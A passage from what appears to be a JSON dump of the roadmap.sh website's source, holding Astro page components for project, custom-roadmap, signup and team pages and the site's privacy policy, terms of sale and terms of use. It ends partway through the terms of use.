returnPolicyCategory: 'https://schema.org/MerchantReturnNotPermitted'\n          },\n          shippingDetails: {\n            '@type': 'OfferShippingDetails',\n            shippingRate: {\n              '@type': 'MonetaryAmount',\n              value: 0,\n              currency: 'USD'\n            },\n            doesNotShip: true\n          }\n        }\n      ],\n      aggregateRating: {\n        '@type': 'AggregateRating',\n        ratingValue: '4.9',\n        bestRating: '5',\n        ratingCount: '1000'\n      }\n    }\n  ]}\n>\n  <PremiumPage client:load />\n\n  <div slot='changelog-banner'></div>\n  <div slot='open-source-banner'></div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/privacy.md",
    "content": "---\nlayout: ../layouts/MarkdownLayout.astro\ntitle: Privacy Policy - roadmap.sh\nnoIndex: true\npermalink: /privacy\n---\n\n# Privacy Policy\n\nBy using or accessing the Services in any manner, you acknowledge that you accept the practices and policies outlined in this Privacy Policy, and you hereby consent that we will collect, use, and share your information in the following ways. Remember that your use of roadmap.sh’s Services is at all times subject to the [Terms of Use](/terms), which incorporates this Privacy Policy. Any terms we use in this Policy without defining them have the definitions given to them in the Terms of Use.\n\n## What does this Privacy Policy cover?\n\nThis Privacy Policy covers our treatment of personally identifiable information (\"Personal Information\") that we gather when you are accessing or using our Services, but not to the practices of companies we don’t own or control, or people that we don’t manage. We gather various types of Personal Information from our users, as explained in more detail below, and we use this Personal Information internally in connection with our Services, including to personalize, provide, and improve our services, to allow you to set up a user account and profile, to contact you and allow other users to contact you, to fulfill your requests for certain products and services, and to analyze how you use the Services. In certain cases, we may also share some Personal Information with third parties, but only as described below.\n\nAs noted in the Terms of Use, we do not knowingly collect or solicit personal information from anyone under the age of 13. If you are under 13, please do not attempt to register for the Services or send any personal information about yourself to us. If we learn that we have collected personal information from a child under age 13, we will delete that information as quickly as possible. If you believe that a child under 13 may have provided us personal information, please contact us at info@roadmap.sh.\n\n## Will roadmap.sh ever change this Privacy Policy?\n\nWe’re constantly trying to improve our Services, so we may need to change this Privacy Policy from time to time as well, but we will alert you to changes by updating the services on the website, placing a notice on the Services, by sending you an email, and/or by some other means. Please note that if you’ve opted not to receive legal notice emails from us (or you haven’t provided us with your email address), those legal notices will still govern your use of the Services, and you are still responsible for reading and understanding them. If you use the Services after any changes to the Privacy Policy have been posted, that means you agree to all of the changes. Use of information we collect now is subject to the Privacy Policy in effect at the time such information is used or collected.\n\n## What Information does roadmap.sh Collect?\n\nInformation You Provide to Us:\n\nWe receive and store any information you knowingly provide to us. For example, through the registration process and/or through your account settings, we may collect Personal Information such as your name, title, email address, phone number, and third-party account credentials (for example, your log-in credentials for Twitter or other third party sites. If you provide your third-party account credentials to us or otherwise sign in to the Services through a third party site or service, you understand some content and/or information in those accounts (“Third Party Account Information”) may be transmitted into your account with us if you authorize such transmissions], and that Third Party Account Information transmitted to our Services is covered by this Privacy Policy. Certain information may be required to register with us or to take advantage of some of our features.\n\nWe may communicate with you if you’ve provided us the means to do so. For example, if you’ve given us your email address, we may send you promotional email offers on behalf of other businesses, or email you about your use of the Services. Also, we may receive a confirmation when you open an email from us. This confirmation helps us make our communications with you more interesting and improve our services. If you do not want to receive communications from us, please email us at info@roadmap.sh.\n\n## Information Collected Automatically\n\nWhenever you interact with our Services, we automatically receive and record information on our server logs from your browser or device, which may include your IP address, geolocation data, device identification, “cookie” information, the type of browser and/or device you’re using to access our Services, and the page or feature you requested. “Cookies” are identifiers we transfer to your browser or device that allow us to recognize your browser or device and tell us how and when pages and features in our Services are visited and by how many people. You may be able to change the preferences on your browser or device to prevent or limit your device’s acceptance of cookies, but this may prevent you from taking advantage of some of our features. Our advertising partners may also transmit cookies to your browser or device, when you click on ads that appear on the Services. Also if you click on a link to a third party website or service, such third party may also transmit cookies to you. Again, this Privacy Policy does not cover the use of cookies by any third parties, and we aren’t responsible for their privacy policies and practices.\n\nWhen we collect the usage information described above, we only use this data in aggregate form, and not in a manner that would identify you personally. For example, this aggregate data can tell us how often users use a particular feature of the Services, and we can use that knowledge to make the Services interesting to as many users as possible.\n\n## Will roadmap.sh Share Any of the Personal Information it Receives?\n\nWe may share your Personal Information with third parties as described in this section:\n\nInformation that’s no longer personally identifiable. We may anonymize your Personal Information so that you are not individually identified, and provide that information to our partners. We may also provide aggregate usage information to our partners, who may use such information to understand how often and in what ways people use our Services, so that they, too, can provide you with an optimal online experience. However, we never disclose aggregate information to a partner in a manner that would identify you personally, as an individual.\n\nAdvertisers: We may allow advertisers and/or merchant partners (“Advertisers”) to choose the demographic information of users who will see their advertisements and/or promotional offers and you agree that we may provide any of the information we have collected from you in non-personally identifiable form to an Advertiser, in order for that Advertiser to select the appropriate audience for those advertisements and/or offers. For example, we might use the fact you are located in San Francisco to show you ads or offers for San Francisco businesses, but we will not tell such businesses who you are. Note that if an advertiser asks us to show an ad to a certain audience or audience segment and you respond to that ad, the advertiser may conclude that you fit the description of the audience they were trying to reach.\n\nWe may deliver a file to you through the Services (known as a “web beacon”) from an ad network. Web beacons allow ad networks to provide anonymized, aggregated auditing, research and reporting for us and for advertisers. Web beacons also enable ad networks to serve targeted advertisements to you when you visit other websites. Because your web browser must request these advertisements and web beacons from the ad network’s servers, these companies can view, edit, or set their own cookies, just as if you had requested a web page from their site. You may be able to opt-out of web beacon tracking by adjusting the settings on your browser.\n\nAffiliated Businesses: In certain situations, businesses or third party websites we’re affiliated with may sell or provide products or services to you through or in connection with the Services (either alone or jointly with us). You can recognize when an affiliated business is associated with such a transaction or service, and we will share your Personal Information with that affiliated business only to the extent that it is related to such transaction or service. One such service may include the ability for you to automatically transmit Third Party Account Information to your Services profile or to automatically transmit information in your Services profile to your third party account; for example, you may sign into your roadmap.sh account using your Twitter account. We have no control over the policies and practices of third party websites or businesses as to privacy or anything else, so if you choose to take part in any transaction or service relating to an affiliated website or business, please review all such business’ or websites’ policies.\n\nOur Agents: We employ other companies and people to perform tasks on our behalf and need to share your information with them to provide products or services to you. Unless we tell you differently, our agents do not have any right to use the Personal Information we share with them beyond what is necessary to assist us.\n\nUser Profiles and Submissions: Certain user profile information, including your name, location, and any video or image content that such user has uploaded to the Services, may be displayed to other users to facilitate user interaction within the Services or address your request for our services. Please remember that any content you upload to your public user profile, along with any Personal Information or content that you voluntarily disclose online in a manner other users can view (on discussion boards, in messages and chat areas, etc.) becomes publicly available, and can be collected and used by anyone. Your user name may also be displayed to other users if and when you send messages or comments or upload images or videos through the Services and other users can contact you through messages and comments. Additionally, if you sign into the Services through a third party social networking site or service, your list of “friends” from that site or service may be automatically imported to the Services, and such “friends,” if they are also registered users of the Services, may be able to access certain non-public information you have entered in your Services user profile. Again, we do not control the policies and practices of any other third party site or service.\n\nBusiness Transfers: We may choose to buy or sell assets. In these types of transactions, customer information is typically one of the business assets that would be transferred. Also, if we (or our assets) are acquired, or if we go out of business, enter bankruptcy, or go through some other change of control, Personal Information could be one of the assets transferred to or acquired by a third party.\n\nProtection of roadmap.sh and Others: We reserve the right to access, read, preserve, and disclose any information that we reasonably believe is necessary to comply with law or court order; enforce or apply our terms of use and other agreements; or protect the rights, property, or safety of roadmap.sh, our employees, our users, or others.\n\n## Is Personal Information about me secure?\n\nYour account is protected by a password for your privacy and security. If you access your account via a third party site or service, you may have additional or different sign-on protections via that third party site or service. You must prevent unauthorized access to your account and Personal Information by selecting and protecting your password and/or other sign-on mechanism appropriately and limiting access to your computer or device and browser by signing off after you have finished accessing your account. We endeavor to protect the privacy of your account and other Personal Information we hold in our records, but unfortunately, we cannot guarantee complete security. Unauthorized entry or use, hardware or software failure, and other factors, may compromise the security of user information at any time.\n\n## What Personal Information can I access?\n\nThrough your account settings, you may access, and, in some cases, edit or delete the following information you’ve provided to us:\n\n- first and last name\n- location of residence\n- age or birthday\n- username\n\nThe information you can view, update, and delete may change as the Services change. If you have any questions about viewing or updating information we have on file about you, please contact us at info@roadmap.sh.\n\nUnder California Civil Code Sections 1798.83-1798.84, California residents are entitled to ask us for a notice identifying the categories of Personal Information which we share with our affiliates and/or third parties for marketing purposes, and providing contact information for such affiliates and/or third parties. If you are a California resident and would like a copy of this notice, please submit a written request to: info@roadmap.sh.\n\n## What choices do I have?\n\nYou can always opt not to disclose information to us, but keep in mind some information may be needed to register with us or to take advantage of some of our features.\n\nYou may be able to add, update, or delete information as explained above. When you update information, however, we may maintain a copy of the unrevised information in our records. You may request deletion of your account by contacting us at info@roadmap.sh and we will disassociate our email address and Twitter account from any content or other information provided to us. Some information may remain in our records after your deletion of such information from your account. We may use any aggregated data derived from or incorporating your Personal Information after you update or delete it, but not in a manner that would identify you personally.\n\n## What if I have questions about this policy?\n\nIf you have any questions or concerns regarding our privacy policies, please send us a detailed message to info@roadmap.sh, and we will try to resolve your concerns.\n"
  },
  {
    "path": "src/pages/projects/[projectId]/index.astro",
    "content": "---\nimport BaseLayout from '../../../layouts/BaseLayout.astro';\nimport { Badge } from '../../../components/Badge';\nimport { ProjectStepper } from '../../../components/Projects/StatusStepper/ProjectStepper';\nimport { ProjectTabs } from '../../../components/Projects/ProjectTabs';\nimport { officialProjectDetails } from '../../../queries/official-project';\nimport { ProjectContent } from '../../../components/Projects/ProjectContent';\n\nexport const prerender = false;\n\ninterface Params extends Record<string, string | undefined> {\n  projectId: string;\n}\n\nconst { projectId } = Astro.params as Params;\n\nconst project = await officialProjectDetails(projectId);\nif (!project) {\n  Astro.response.status = 404;\n  Astro.response.statusText = 'Not found';\n  return Astro.rewrite('/404');\n}\n\nconst parentRoadmapId = project?.roadmapIds?.[0] || '';\n---\n\n<BaseLayout\n  permalink={`/projects/${projectId}`}\n  title={project?.seo?.title || project?.title}\n  briefTitle={project?.title}\n  description={project?.seo?.description || project?.description}\n  keywords={project?.seo?.keywords || []}\n  resourceId={projectId}\n>\n  <div class='bg-gray-50'>\n    <div class='container'>\n      <ProjectTabs\n        parentRoadmapId={parentRoadmapId}\n        projectId={projectId}\n        activeTab='details'\n      />\n\n      <div\n        class='mb-4 rounded-lg border bg-linear-to-b from-gray-100 to-white to-10% p-4 py-2 sm:p-5'\n      >\n        <div class='relative'>\n          <div class='mb-4 hidden items-center justify-between sm:flex'>\n            <div class='flex flex-row flex-wrap gap-1.5'>\n              {\n                project?.skills.map((skill) => (\n                  <Badge variant='green' text={skill} />\n                ))\n              }\n            </div>\n            <Badge variant='yellow' text={project?.difficulty} />\n          </div>\n          <div class='my-2 flex items-center justify-between gap-2 sm:my-7'>\n            <div class=''>\n              <h1 class='mb-1 text-xl font-semibold sm:mb-2 sm:text-3xl'>\n                {project?.title}\n              </h1>\n              <p class='text-sm text-balance text-gray-500'>\n                {project?.description}\n              </p>\n            </div>\n          </div>\n        </div>\n\n        <ProjectStepper projectId={projectId} client:load />\n        <ProjectContent project={project} client:load />\n      </div>\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/projects/[projectId]/solutions.astro",
    "content": "---\nimport BaseLayout from '../../../layouts/BaseLayout.astro';\nimport { ProjectTabs } from '../../../components/Projects/ProjectTabs';\nimport { ListProjectSolutions } from '../../../components/Projects/ListProjectSolutions';\nimport { ProjectSolutionModal } from '../../../components/Projects/ProjectSolutionModal';\nimport { officialProjectDetails } from '../../../queries/official-project';\n\nexport const prerender = false;\n\ninterface Params extends Record<string, string | undefined> {\n  projectId: string;\n}\n\nconst { projectId } = Astro.params as Params;\n\nconst project = await officialProjectDetails(projectId);\nif (!project) {\n  Astro.response.status = 404;\n  Astro.response.statusText = 'Not found';\n  return Astro.rewrite('/404');\n}\n\nconst parentRoadmapId = project?.roadmapIds?.[0] || '';\n---\n\n<BaseLayout\n  permalink={`/projects/${projectId}/solutions`}\n  title={project?.seo?.title || project.title}\n  briefTitle={project.title}\n  description={project.seo.description || project.description}\n  keywords={project.seo.keywords}\n  resourceId={projectId}\n>\n  <div class='bg-gray-50'>\n    <div class='container'>\n      <ProjectTabs\n        parentRoadmapId={parentRoadmapId}\n        projectId={projectId}\n        activeTab='solutions'\n      />\n\n      <ListProjectSolutions\n        project={project}\n        projectId={projectId}\n        client:load\n      />\n\n      <ProjectSolutionModal\n        projectId={projectId}\n        projectTitle={project.title}\n        projectDescription={project.description}\n        client:only='react'\n      />\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/projects/index.astro",
    "content": "---\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { ProjectsPageHeader } from '../../components/Projects/ProjectsPageHeader';\nimport { ProjectsPage } from '../../components/Projects/ProjectsPage';\nimport { projectApi } from '../../api/project';\nimport { listOfficialRoadmaps } from '../../queries/official-roadmap';\nimport { getRoadmapsProjects } from '../../queries/official-project';\n\nexport const prerender = false;\n\nconst roadmapProjects = await getRoadmapsProjects();\nconst allRoadmapIds = Object.keys(roadmapProjects);\n\nconst roadmaps = await listOfficialRoadmaps();\nconst allRoadmaps = roadmaps.filter((roadmap) =>\n  allRoadmapIds.includes(roadmap.slug),\n);\n\nconst enrichedRoadmaps = allRoadmaps.map((roadmap) => {\n  const projects = (roadmapProjects[roadmap.slug] || []).sort((a, b) => {\n    return a.order - b.order;\n  });\n\n  return {\n    id: roadmap.slug,\n    title: roadmap.title.card,\n    projects,\n  };\n});\n\nconst projectIds = allRoadmapIds\n  .map((id) => roadmapProjects[id])\n  .flat()\n  .map((project) => project.slug);\nconst projectApiClient = projectApi(Astro);\nconst { response: userCounts } =\n  await projectApiClient.listProjectsUserCount(projectIds);\n---\n\n<BaseLayout\n  title='Project Ideas'\n  description='Explore project ideas to take you from beginner to advanced in different technologies'\n  permalink='/projects'\n>\n  <ProjectsPageHeader client:load />\n  <ProjectsPage\n    roadmapsProjects={enrichedRoadmaps}\n    userCounts={userCounts || {}}\n    client:load\n  />\n  <div slot='changelog-banner'></div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/r/[customRoadmapSlug].astro",
    "content": "---\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { CustomRoadmap } from '../../components/CustomRoadmap/CustomRoadmap';\nimport { SkeletonRoadmapHeader } from '../../components/CustomRoadmap/SkeletonRoadmapHeader';\nimport Loader from '../../components/Loader.astro';\nimport ProgressHelpPopup from '../../components/ProgressHelpPopup.astro';\nimport { roadmapApi } from '../../api/roadmap';\n\nexport const prerender = false;\n\nconst { customRoadmapSlug } = Astro.params;\n\nconst roadmapClient = roadmapApi(Astro);\nconst { response, error } = await roadmapClient.isShowcaseRoadmap(\n  customRoadmapSlug!,\n);\n---\n\n<BaseLayout\n  title='Roadmaps'\n  noIndex={!response?.isShowcase}\n  permalink={`/r/${customRoadmapSlug}`}\n>\n  <ProgressHelpPopup />\n  <div>\n    <div class='flex min-h-[550px] flex-col'>\n      <div data-roadmap-loader class='flex w-full grow flex-col'>\n        <SkeletonRoadmapHeader />\n        <div class='flex grow items-center justify-center'>\n          <Loader />\n        </div>\n      </div>\n      <CustomRoadmap slug={customRoadmapSlug} client:only='react' />\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/r/embed.astro",
    "content": "---\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { CustomRoadmap } from '../../components/CustomRoadmap/CustomRoadmap';\nimport { SkeletonRoadmapHeader } from '../../components/CustomRoadmap/SkeletonRoadmapHeader';\nimport Loader from '../../components/Loader.astro';\nimport ProgressHelpPopup from '../../components/ProgressHelpPopup.astro';\nimport SkeletonLayout from '../../layouts/SkeletonLayout.astro';\nimport Icon from \"../../components/AstroIcon.astro\";\n---\n\n<SkeletonLayout title='Roadmaps' noIndex={true}>\n  <div class='relative flex min-h-[550px] flex-col'>\n    <div data-roadmap-loader class='flex w-full grow flex-col'>\n      <div class='flex grow items-center justify-center'>\n        <Loader />\n      </div>\n    </div>\n    <CustomRoadmap isEmbed={true} client:only='react' />\n\n    <div class='fixed bottom-5 right-4'>\n      <a\n        target='_blank'\n        class='rounded-md bg-gray-600 py-2 pr-2 pl-1.5 text-white hover:bg-black flex items-center gap-0.5'\n        href='https://roadmap.sh'\n      >\n        <Icon icon='logo' class=\"h-5\" />\n        roadmap.sh\n      </a>\n    </div>\n  </div>\n</SkeletonLayout>\n"
  },
  {
    "path": "src/pages/r/index.astro",
    "content": "---\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { CustomRoadmap } from '../../components/CustomRoadmap/CustomRoadmap';\nimport { SkeletonRoadmapHeader } from '../../components/CustomRoadmap/SkeletonRoadmapHeader';\nimport Loader from '../../components/Loader.astro';\nimport ProgressHelpPopup from '../../components/ProgressHelpPopup.astro';\n---\n\n<BaseLayout title='Roadmaps' noIndex={true}>\n  <ProgressHelpPopup />\n  <div>\n    <div class='flex min-h-[550px] flex-col'>\n      <div data-roadmap-loader class='flex w-full grow flex-col'>\n        <SkeletonRoadmapHeader />\n        <div class='flex grow items-center justify-center'>\n          <Loader />\n        </div>\n      </div>\n      <CustomRoadmap client:only='react' />\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/reset-password.astro",
    "content": "---\nimport { ResetPasswordForm } from '../components/AuthenticationFlow/ResetPasswordForm';\nimport AccountLayout from '../layouts/AccountLayout.astro';\n---\n\n<AccountLayout title='Reset Password' noIndex={true}>\n  <div class='container'>\n    <div\n      class='mx-auto flex flex-col items-start justify-start pb-28 pt-10 sm:max-w-[400px] sm:items-center sm:justify-center sm:pt-20'\n    >\n      <div class='mb-2 text-left sm:mb-5 sm:text-center'>\n        <h1 class='mb-2 text-3xl font-semibold sm:mb-5 sm:text-5xl'>\n          Reset Password\n        </h1>\n        <p class='mb-3 text-base leading-6 text-gray-600'>\n          Enter and confirm your new password below.\n        </p>\n      </div>\n\n      <ResetPasswordForm client:load />\n    </div>\n  </div>\n</AccountLayout>\n"
  },
  {
    "path": "src/pages/respond-invite.astro",
    "content": "---\nimport AccountLayout from '../layouts/AccountLayout.astro';\nimport { RespondInviteForm } from '../components/RespondInviteForm';\nimport LoginPopup from \"../components/AuthenticationFlow/LoginPopup.astro\";\n---\n\n<AccountLayout\n  title='Respond Invite'\n  noIndex={true}\n  initialLoadingMessage={'Loading invite'}\n>\n  <LoginPopup />\n  <RespondInviteForm client:only=\"react\" />\n</AccountLayout>\n"
  },
  {
    "path": "src/pages/roadmaps.astro",
    "content": "---\nimport { RoadmapsPage } from '../components/Roadmaps/RoadmapsPage';\nimport { RoadmapsPageHeader } from '../components/Roadmaps/RoadmapsPageHeader';\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport ChangelogBanner from '../components/ChangelogBanner.astro';\n---\n\n<BaseLayout\n  title='Developer Roadmaps'\n  description={'Step by step guides and paths to learn different tools or technologies'}\n  permalink={'/roadmaps'}\n>\n  <RoadmapsPageHeader client:load />\n  <RoadmapsPage client:load />\n  <ChangelogBanner slot='changelog-banner' />\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/signup.astro",
    "content": "---\nimport { AuthenticationForm } from '../components/AuthenticationFlow/AuthenticationForm';\nimport AccountLayout from '../layouts/AccountLayout.astro';\nimport {AccountTerms} from \"../components/AccountTerms\";\n---\n\n<AccountLayout\n  title='Signup - roadmap.sh'\n  description='Create an account to track your progress, showcase your skillset'\n  permalink={'/signup'}\n  noIndex={true}\n>\n  <div class='container'>\n    <div\n      class='mx-auto flex flex-col items-start justify-start pb-28 pt-10 sm:max-w-[400px] sm:items-center sm:justify-center sm:pt-20'\n    >\n      <div class='mb-2 text-left sm:mb-5 sm:text-center'>\n        <h1 class='mb-2 text-3xl font-semibold sm:mb-5 sm:text-5xl'>Sign Up</h1>\n        <p class='mb-3 hidden text-base leading-6 text-gray-600 sm:block'>\n          Create an account to track your progress, showcase your skill-set and\n          be a part of the community.\n        </p>\n        <p class='mb-3 block text-sm text-gray-600 sm:hidden'>\n          Create an account to track your progress, showcase your skill-set and\n          be a part of the community.\n        </p>\n      </div>\n\n      <AuthenticationForm type='signup' client:load />\n\n      <div class='mt-3 w-full rounded-md border py-2 text-center text-sm text-slate-600'>\n        Already have an account? <a\n          href='/login'\n          class='font-medium text-blue-700 hover:text-blue-600'>Login</a\n        >\n      </div>\n\n      <AccountTerms />\n    </div>\n  </div>\n</AccountLayout>\n"
  },
  {
    "path": "src/pages/teams.astro",
    "content": "---\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { TeamHeroBanner } from '../components/TeamMarketing/TeamHeroBanner';\nimport { TeamTools } from '../components/TeamMarketing/TeamTools';\nimport { TeamDemo } from '../components/TeamMarketing/TeamDemo';\nimport { TeamPricing } from '../components/TeamMarketing/TeamPricing';\n---\n\n<BaseLayout title='Roadmaps for teams' permalink={'/teams'}>\n  <TeamHeroBanner client:load />\n  <TeamTools />\n  <TeamDemo client:load />\n  <TeamPricing client:load />\n  <div slot=\"changelog-banner\" />\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/terms-of-sale.md",
    "content": "---\nlayout: ../layouts/MarkdownLayout.astro\ntitle: Terms of Sale - roadmap.sh\nnoIndex: true\npermalink: /terms-of-sale\n---\n\n# Terms of Sale\n\nroadmap.sh is a publication of Insight Media Group, LLC. When you purchase any products or services from Insight Media Group, LLC (\"roadmap.sh\") through roadmap.sh, you agree to these Terms of Sale (\"Terms\"). These Terms are incorporated by reference into our Terms of Use, which govern your use of our Website, including any services we make available through the Website. Any capitalized Terms that aren't defined in these Terms are defined in the Terms of Use.\n\n## Pricing\n\nThe price of any product or service that you purchase from us, including any courses and subscriptions that we offer, will be made available to you at the time of purchase. From time to time, we may offer discounts (which may be subject to additional terms or requirements, as communicated to you).\n\nDepending on your location, roadmap.sh may be required to collect and remit the applicable sales taxes, goods and services taxes, or value added taxes based on your country or regions consumer sales tax requirements. Any prices that we advertise do not include applicable taxes.\n\nWe reserve the right to change the price of products or services at any time.\n\n## Availability of Products and Services\n\nThe products or services may be available for a period of time. Where products and services are offered on a limited-time basis (e.g., courses), you will only be able to access the product and service during such period. At the expiration of such period, you will no longer have access to the products and services (and, in the case of courses, regardless of whether or not you completed the course).\n\n## Subscriptions and Renewals\n\nIf you purchase products and services on a subscription basis, the subscription will automatically renew (and your payment method will be automatically charged) at the end of the subscription period unless you notify us of cancellation at least 30 days prior to renewal.\n\n## Payments and Payment Methods\n\nBy purchasing products and services, you agree to pay all fees associated with your purchase. Full payment must be made at the time of purchase.\n\nYou authorize roadmap.sh or its third-party providers, to charge your debit or credit card or to process any other accepted means of payment, for payment of fees, including any renewals. You agree not to provide or use an invalid or unauthorized method of payment. We reserve the right to disable or terminate your access to any course or content for which we have not received the required payment.\n\n## Refunds and Refund Credits (Courses Only)\n\nIf for any reason you wish to cancel your purchase of a course, you may request a refund within thirty (30) days of the original purchase date. You may request a refund by submitting a request to info@roadmap.sh. We will not issue refunds if the request is received after the 30-day time limit. Refunds will be prorated based on the date you provide a valid notice of cancellation to us. For example, if you purchase a course for $100 and provide us notice 15 days after the date of purchase, we will issue a refund of 50% or $50. We will apply your refund to your original payment method.\n\nIf we determine that you are abusing our refund policy, we reserve the right to deny your refund, restrict your receipt of future refunds, and/or restrict your access to the use of our Services.\n\n## Modifications and Notice\n\nWe reserve the right to update these Terms at any time. Your continued use of the course or other Services, after the effective date of any such change, will be considered acceptance of the updated Terms.\n\n## Incorporation by Reference\n\nThese Terms are incorporated by reference into and form part of our Terms of Use. By agreeing to these Terms, you agree that the Terms of Use apply to and govern these Terms.\n"
  },
  {
    "path": "src/pages/terms.md",
    "content": "---\nlayout: ../layouts/MarkdownLayout.astro\ntitle: Terms and Conditions - roadmap.sh\nnoIndex: true\npermalink: /terms\n---\n\n# Terms of Use\n\n**Last updated:** 27th March 2025\n\n## Acceptance of the Terms of Use\n\nThese terms of use are entered into by and between you and Insight Media Group, LLC (\"roadmap.sh,\" \"we,\" or \"us\" or \"our\"). The following terms and conditions, together with any documents they expressly incorporate by reference (collectively, \"Terms of Use\"), govern your access to and use of https://roadmap.sh/, including any content, functionality, and services offered on or through  https://roadmap.sh/ (the \"Website\"), whether as a guest or a registered user. If you purchase a subscription, course or other product or service from us, our [Terms of Sale](https://roadmap.sh/terms-of-sale) apply to your purchase.\n\nPlease read these Terms of Use carefully before you start to use the Website. This Website is offered and available to users who are 13 years of age or older. If you are under the age of 13, you may not access or use the Website.\n\n**By using the Website or by clicking to accept or agree to the Terms of Use when this option is made available to you, you accept and agree to be bound and abide by these Terms of Use  and our Privacy Policy, available at https://roadmap.sh/privacy,  which is incorporated herein by reference.** In the event of a conflict between these Terms of Use and the Privacy Policy, the Privacy Policy shall govern. If you do not want to agree to these Terms of Use or the Privacy Policy, you must not access or use the Website. \n\n**PLEASE BE AWARE THAT THESE TERMS OF USE CONTAIN PROVISIONS GOVERNING HOW TO RESOLVE DISPUTES BETWEEN US, INCLUDING AN AGREEMENT TO ARBITRATE, WHICH REQUIRES, WITH LIMITED EXCEPTIONS, THAT ALL DISPUTES BETWEEN YOU AND US SHALL BE RESOLVED BY BINDING AND FINAL ARBITRATION. FURTHER, THESE TERMS CONTAIN CLASS ACTION AND JURY TRIAL WAIVERS. UNLESS YOU OPT OUT OF THE AGREEMENT TO ARBITRATE WITHIN 30 DAYS: (i) YOU WILL ONLY BE PERMITTED TO PURSUE DISPUTES OR CLAIMS AND SEEK RELIEF AGAINST US ON AN INDIVIDUAL BASIS, NOT AS A PLAINTIFF OR CLASS MEMBER IN ANY CLASS OR REPRESENTATIVE ACTION OR PROCEEDING AND YOU WAIVE YOUR RIGHT TO PARTICIPATE IN A CLASS ACTION LAWSUIT OR CLASS-WIDE ARBITRATION; AND (ii) YOU ARE WAIVING YOUR RIGHT TO PURSUE DISPUTES OR CLAIMS AND SEEK RELIEF IN A COURT OF LAW AND TO HAVE A JURY TRIAL**\n\n## Changes to the Terms of Use\n\nroadmap.sh may revise and update these Terms of Use from time to time in our sole discretion. All changes are effective immediately when we post them and apply to all access to and use of this Website thereafter.  \n\nYour continued use of the Website following the posting of revised Terms of Use means that you accept and agree to the changes. You are expected to check this page from time to time so you are aware of any changes, as they are binding on you. \n\n## Accessing the Website and Account Security\n\nroadmap.sh reserves the right to withdraw or amend the Website, and any service or material we provide on the Website, in our sole discretion without notice. roadmap.sh will not be liable, if for any reason, all or any part of this Website is unavailable at any time or for any period. From time to time, roadmap.sh may restrict user access, including registered user access, to some parts of this Website or the entire Website.\n\nYou are responsible for both:\n\n1. Making all arrangements necessary for you to have access to this Website.\n2. Ensuring that all persons who access this Website through your internet connection are aware of these Terms of Use and comply with them.\n\nTo access this Website or some of the resources it offers, you may be asked to provide certain registration details or other information. It is a condition of your use of this Website that all the information you provide on this Website is correct, current, and complete. You agree that all information you provide to register with this Website or otherwise, including, but not limited to, through the use of any interactive features on the Website, is governed by our Privacy Policy, and you consent to all actions we take with respect to your information consistent with our Privacy Policy.\n\nIf you choose, or are provided with, a username, password, or any other piece of information as part of our security procedures, you must treat such information as confidential, and you must not disclose it to any other person or entity. You also acknowledge that your account is personal to you and you agree not to provide any other person with access to this Website or portions of it using your username, password, or other security information. You agree to notify roadmap.sh immediately of any unauthorized access to or use of your username or password or any other breach of security. You also agree to ensure that you exit from your account at the end of each session. You should use particular caution when accessing your account from a public or shared computer so that others are not able to view or record your password or other personal information.\n\nroadmap.sh has the right to disable any username, password, or other identifier, whether chosen by you or provided by us, at any time in our sole discretion for any or no reason, including if, in our opinion, you have violated any provision of these Terms of Use.\n\n## Terms of Sale\n\nIf you purchase any course, subscription or other product or service from us, in addition to agreeing to these Terms of Use, you are agreeing to the [Terms of Sale, available here](https://roadmap.sh/terms-of-sale).\n\n## Intellectual Property Rights\n\nThe Website, the articles, and its entire contents, features, and functionality (including but not limited to all information, software, text, displays, images, video, and audio, and the design, selection, and arrangement thereof) are owned by roadmap.sh, its licensors, or other providers of such material and are protected by United States and international copyright, trademark, patent, trade secret, and other intellectual property or proprietary rights laws.\n\nThese Terms of Use permit you to use the Website for your personal, non-commercial use only. You must not reproduce, distribute, modify, create derivative works of, publicly display, publicly perform, republish, download, store, or transmit any of the material on this Website.\n\nIf you print, copy, modify, download, or otherwise use or provide any other person with access to any part of this Website in breach of these Terms of Use, your right to use the Website will immediately be revoked and you must, at roadmap.sh's option, return or destroy any copies of the materials you have made. No right, title, or interest in or to the Website or any content on the Website is transferred to you, and all rights not expressly granted are reserved by roadmap.sh. Any use of the Website not expressly permitted by these Terms of Use is a breach of these Terms of Use and may violate copyright, trademark, and other laws.\n\n## Trademarks\n\nThe Company name, the terms roadmap.sh, and all related names, logos, product and service names, designs, and slogans are trademarks of the Insight Media Group, LLC, or its affiliates or licensors. You must not use such marks without the prior written permission of the roadmap.sh. All other names, logos, product and service names, designs, and slogans on this Website are the trademarks of their respective owners.\n\n## Prohibited Uses\n\nYou may use this Website only for lawful purposes and in accordance with these Terms of Use. You agree not to use this Website:\n\n1. In any way that violates any applicable federal, state, local, or international law or regulation (including, without limitation, any laws regarding the export of data or software to and from the US or other countries). \n2. For the purpose of exploiting, harming, or attempting to exploit or harm minors in any way by exposing them to inappropriate content, asking for personally identifiable information, or otherwise.\n3. To send, knowingly receive, upload, download, use, or re-use any material that does not comply with these Terms of Use.\n4. To transmit, or procure the sending of, any advertising or promotional material without our prior written consent, including any \"junk mail,\" \"chain letter,\" \"spam,\" or any other similar solicitation.\n5. To impersonate or attempt to impersonate roadmap.sh, a roadmap.sh employee, another user, or any other person or entity (including, without limitation, by using email addresses or screen names associated with any of the foregoing).\n6. To engage in any other conduct that restricts or inhibits anyone's use or enjoyment of this Website, or which, as determined by roadmap.sh, may harm roadmap.sh or users of this Website, or expose them to liability.\n\nAdditionally, you agree not to:\n\n1. Use this Website in any manner that could disable, overburden, damage, or impair the site or interfere with any other party's use of this Website, including their ability to engage in real time activities through this Website.\n2. Use any robot, spider, or other automatic device, process, or means to access this Website for any purpose, including monitoring or copying any of the material on this Website.\n3. Use any 